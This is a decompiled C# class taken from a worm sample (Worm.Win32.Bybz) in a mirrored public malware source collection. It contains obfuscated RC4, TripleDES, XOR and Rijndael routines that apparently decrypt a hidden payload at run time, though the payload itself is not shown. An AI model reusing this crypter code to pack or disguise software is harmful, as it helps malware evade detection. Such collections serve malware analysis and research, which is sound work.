mirror of
https://github.com/vxunderground/MalwareSourceCode.git
synced 2024-12-22 11:26:11 +00:00
125 lines
4.6 KiB
C#
125 lines
4.6 KiB
C#
|
// Decompiled with JetBrains decompiler
|
|||
|
// Type: ajhfsdlhjasnagfgewfwsg.JHSAKDJHkjhakJHkjhUyiuYiuyIUyiUYiuyIuyiuYYrYTY
|
|||
|
// Assembly: Rokan, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null
|
|||
|
// MVID: 170F4640-026D-46A0-96EF-63F7CE568476
|
|||
|
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Worm.Win32.Bybz.dma-ede80954aa264e7f1fb365b2d83e8d211c6a79e95bdca110aeaef84c696635db.exe
|
|||
|
|
|||
|
using Microsoft.VisualBasic;
|
|||
|
using Microsoft.VisualBasic.CompilerServices;
|
|||
|
using System;
|
|||
|
using System.Diagnostics;
|
|||
|
using System.IO;
|
|||
|
using System.Security.Cryptography;
|
|||
|
using System.Text;
|
|||
|
|
|||
|
namespace ajhfsdlhjasnagfgewfwsg
|
|||
|
{
|
|||
|
public class JHSAKDJHkjhakJHkjhUyiuYiuyIUyiUYiuyIuyiuYYrYTY
|
|||
|
{
|
|||
|
[DebuggerNonUserCode]
|
|||
|
public JHSAKDJHkjhakJHkjhUyiuYiuyIUyiUYiuyIuyiuYYrYTY()
|
|||
|
{
|
|||
|
}
|
|||
|
|
|||
|
public static byte[] dsfkjhxcivudsoifuoixuvoiusaduoasdzxc(byte[] bytes, byte[] key)
|
|||
|
{
|
|||
|
byte[] numArray1 = new byte[256];
|
|||
|
int num1 = checked (numArray1.Length - 1);
|
|||
|
int index1 = 0;
|
|||
|
while (index1 <= num1)
|
|||
|
{
|
|||
|
numArray1[index1] = checked ((byte) index1);
|
|||
|
checked { ++index1; }
|
|||
|
}
|
|||
|
int num2 = checked (numArray1.Length - 1);
|
|||
|
int index2 = 0;
|
|||
|
while (index2 <= num2)
|
|||
|
{
|
|||
|
int index3 = checked (index3 + (int) key[unchecked (index2 % key.Length)] + (int) numArray1[index2]) & (int) byte.MaxValue;
|
|||
|
byte num3 = numArray1[index2];
|
|||
|
numArray1[index2] = numArray1[index3];
|
|||
|
numArray1[index3] = num3;
|
|||
|
checked { ++index2; }
|
|||
|
}
|
|||
|
int index4 = 0;
|
|||
|
int index5 = 0;
|
|||
|
byte[] numArray2 = new byte[checked (bytes.Length - 1 + 1)];
|
|||
|
int num4 = checked (bytes.Length - 1);
|
|||
|
int index6 = 0;
|
|||
|
while (index6 <= num4)
|
|||
|
{
|
|||
|
index4 = checked (index4 + 1) & (int) byte.MaxValue;
|
|||
|
index5 = checked (index5 + (int) numArray1[index4]) & (int) byte.MaxValue;
|
|||
|
byte num5 = numArray1[index4];
|
|||
|
numArray1[index4] = numArray1[index5];
|
|||
|
numArray1[index5] = num5;
|
|||
|
numArray2[index6] = (byte) ((int) numArray1[checked ((int) numArray1[index4] + (int) numArray1[index5]) & (int) byte.MaxValue] ^ (int) bytes[index6]);
|
|||
|
checked { ++index6; }
|
|||
|
}
|
|||
|
return numArray2;
|
|||
|
}
|
|||
|
|
|||
|
public static string asioduzxoicuoisaudoiasudoixzc(string b, string c, bool d)
|
|||
|
{
|
|||
|
byte[] inputBuffer = Convert.FromBase64String(b);
|
|||
|
byte[] numArray = !d ? Encoding.UTF8.GetBytes(c) : new MD5CryptoServiceProvider().ComputeHash(Encoding.UTF8.GetBytes(c));
|
|||
|
TripleDESCryptoServiceProvider cryptoServiceProvider = new TripleDESCryptoServiceProvider();
|
|||
|
cryptoServiceProvider.Key = numArray;
|
|||
|
cryptoServiceProvider.Mode = CipherMode.ECB;
|
|||
|
cryptoServiceProvider.Padding = PaddingMode.PKCS7;
|
|||
|
return Encoding.UTF8.GetString(cryptoServiceProvider.CreateDecryptor().TransformFinalBlock(inputBuffer, 0, inputBuffer.Length));
|
|||
|
}
|
|||
|
|
|||
|
public static string xJHSAKDJHkjhakJHkjhUyiuYiuyIUyiUYiuyIuyiuYYrYTY(
|
|||
|
string CodeKey,
|
|||
|
string DataIn)
|
|||
|
{
|
|||
|
string str = "";
|
|||
|
long num1 = checked ((long) Math.Round(unchecked ((double) Strings.Len(DataIn) / 2.0)));
|
|||
|
long num2 = 1;
|
|||
|
while (num2 <= num1)
|
|||
|
{
|
|||
|
int num3 = checked ((int) Math.Round(Conversion.Val("&H" + Strings.Mid(DataIn, (int) (2L * num2 - 1L), 2))));
|
|||
|
int num4 = Strings.Asc(Strings.Mid(CodeKey, checked ((int) (unchecked (num2 % (long) Strings.Len(CodeKey)) + 1L)), 1));
|
|||
|
str += Conversions.ToString(Strings.Chr(num3 ^ num4));
|
|||
|
checked { ++num2; }
|
|||
|
}
|
|||
|
return str;
|
|||
|
}
|
|||
|
|
|||
|
public static object Rijndael(string Decrypt, string Key)
|
|||
|
{
|
|||
|
RijndaelManaged rijndaelManaged = new RijndaelManaged();
|
|||
|
byte[] salt = new byte[8]
|
|||
|
{
|
|||
|
(byte) 1,
|
|||
|
(byte) 2,
|
|||
|
(byte) 3,
|
|||
|
(byte) 4,
|
|||
|
(byte) 5,
|
|||
|
(byte) 6,
|
|||
|
(byte) 7,
|
|||
|
(byte) 8
|
|||
|
};
|
|||
|
Rfc2898DeriveBytes rfc2898DeriveBytes = new Rfc2898DeriveBytes(Key, salt);
|
|||
|
rijndaelManaged.Key = rfc2898DeriveBytes.GetBytes(rijndaelManaged.Key.Length);
|
|||
|
rijndaelManaged.IV = rfc2898DeriveBytes.GetBytes(rijndaelManaged.IV.Length);
|
|||
|
MemoryStream memoryStream = new MemoryStream();
|
|||
|
CryptoStream cryptoStream = new CryptoStream((Stream) memoryStream, rijndaelManaged.CreateDecryptor(), CryptoStreamMode.Write);
|
|||
|
try
|
|||
|
{
|
|||
|
byte[] buffer = Convert.FromBase64String(Decrypt);
|
|||
|
cryptoStream.Write(buffer, 0, buffer.Length);
|
|||
|
cryptoStream.Close();
|
|||
|
Decrypt = Encoding.UTF8.GetString(memoryStream.ToArray());
|
|||
|
}
|
|||
|
catch (Exception ex)
|
|||
|
{
|
|||
|
ProjectData.SetProjectError(ex);
|
|||
|
ProjectData.ClearProjectError();
|
|||
|
}
|
|||
|
return (object) Decrypt;
|
|||
|
}
|
|||
|
}
|
|||
|
}
|